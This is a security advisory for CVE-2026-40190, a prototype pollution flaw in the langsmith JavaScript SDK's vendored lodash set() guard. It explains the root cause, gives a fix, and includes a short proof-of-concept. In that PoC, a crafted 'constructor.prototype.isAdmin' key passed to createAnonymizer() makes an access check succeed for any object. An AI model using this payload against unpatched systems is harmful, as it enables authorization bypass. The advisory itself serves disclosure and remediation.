langsmith
Affected
- introduced
0, fixed0.5.18(semver)
Fixed versions
0.5.18
Fix
- Fixed version
0.5.18npm install [email protected]
Advisory
Also known as: CVE-2026-40190
LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete __proto__ Guard in Internal lodash set()
GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash set() Guard in langsmith-sdk
Severity: Medium (CVSS ~5.6)
Status: Fixed in 0.5.18
---
Summary
The LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the __proto__ key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process.
---
Affected Products
| Product | Affected Versions | Component |
|---------|-------------------|-----------|
| langsmith (npm) | <= 0.5.17 | js/src/utils/lodash/baseAssignValue.ts, js/src/anonymizer/index.ts |
| langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |
Not affected: The Python SDK (langsmith on PyPI) does not use lodash or an equivalent pattern.
---
Root Cause
The SDK vendors an internal copy of lodash's set() function at js/src/utils/lodash/. The baseAssignValue() function at baseAssignValue.ts:11 implements a guard for prototype pollution:
function baseAssignValue(object: Record<string, any>, key: string, value: any) {
if (key === "__proto__") {
Object.defineProperty(object, key, {
configurable: true, enumerable: true, value: value, writable: true,
});
} else {
object[key] = value; // ← No guard for "constructor" or "prototype" keys
}
}
This blocks __proto__ pollution but does not block the constructor.prototype traversal path. When set() is called with a path like "constructor.prototype.polluted":
castPath() splits it into ["constructor", "prototype", "polluted"]baseSet() iterates: obj.constructor → Object → Object.prototypeassignValue(Object.prototype, "polluted", value) calls baseAssignValue()"polluted" (not "__proto__"), so the guard is bypassedObject.prototype.polluted = value — all objects are polluted---
Attack Vector via Anonymizer
The createAnonymizer() API (importable as langsmith/anonymizer) processes data by:
extractStringNodes() walks an object recursively and builds dotted paths from keysanonymizer/index.ts:95)set(mutateValue, node.path, node.value) writes the replaced value back (anonymizer/index.ts:123)An attacker who controls keys in data being anonymized can construct a nested object where the path resolves to constructor.prototype.X:
{
wrapper: {
"constructor.prototype.isAdmin": "contains-secret-pattern"
}
}
extractStringNodes() produces path "wrapper.constructor.prototype.isAdmin". When the replacement triggers and set() writes back, it traverses up to Object.prototype.
Although createAnonymizer() uses deepClone() at anonymizer/index.ts:62 (JSON.parse(JSON.stringify(data))), the prototype chain traversal escapes the clone boundary because clone.wrapper.constructor resolves to the global Object constructor, not a cloned copy.
---
Proof of Concept
import { createAnonymizer } from "langsmith/anonymizer";
const anonymizer = createAnonymizer([
{ pattern: "secret", replace: "[REDACTED]" }
]);
console.log("BEFORE:", ({}).isAdmin); // undefined
const maliciousInput = {
wrapper: {
"constructor.prototype.isAdmin": "this-is-secret-data"
}
};
anonymizer(maliciousInput);
console.log("AFTER:", ({}).isAdmin); // "this-is-[REDACTED]-data"
console.log("Array:", [].isAdmin); // "this-is-[REDACTED]-data"
function checkAccess(user) {
if (user.isAdmin) return "ACCESS GRANTED";
return "ACCESS DENIED";
}
console.log(checkAccess({ name: "bob" })); // "ACCESS GRANTED" ← BYPASSED
---
Impact
Prototype pollution in a Node.js process can enable:
if (user.isAdmin) checks succeed on all objectseval()/Function() sinkstoString, valueOf, or hasOwnProperty on all objects---
Remediation
In baseAssignValue.ts, extend the guard to cover constructor and prototype keys:
function baseAssignValue(object, key, value) {
if (key === "__proto__" || key === "constructor" || key === "prototype") {
Object.defineProperty(object, key, {
configurable: true, enumerable: true, value, writable: true,
});
} else {
object[key] = value;
}
}
As defense in depth, extractStringNodes() in anonymizer/index.ts should also sanitize or reject path segments matching constructor or prototype before passing them to set().
---
Timeline
| Date | Event |
|------|-------|
| 2026-03-24 | Initial report submitted |
| 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |
---
Credits
Reported by: OneThing4101
Medium Basis: The source's own band: MODERATE
0, fixed 0.5.18 (semver)0.5.18
0.5.18npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0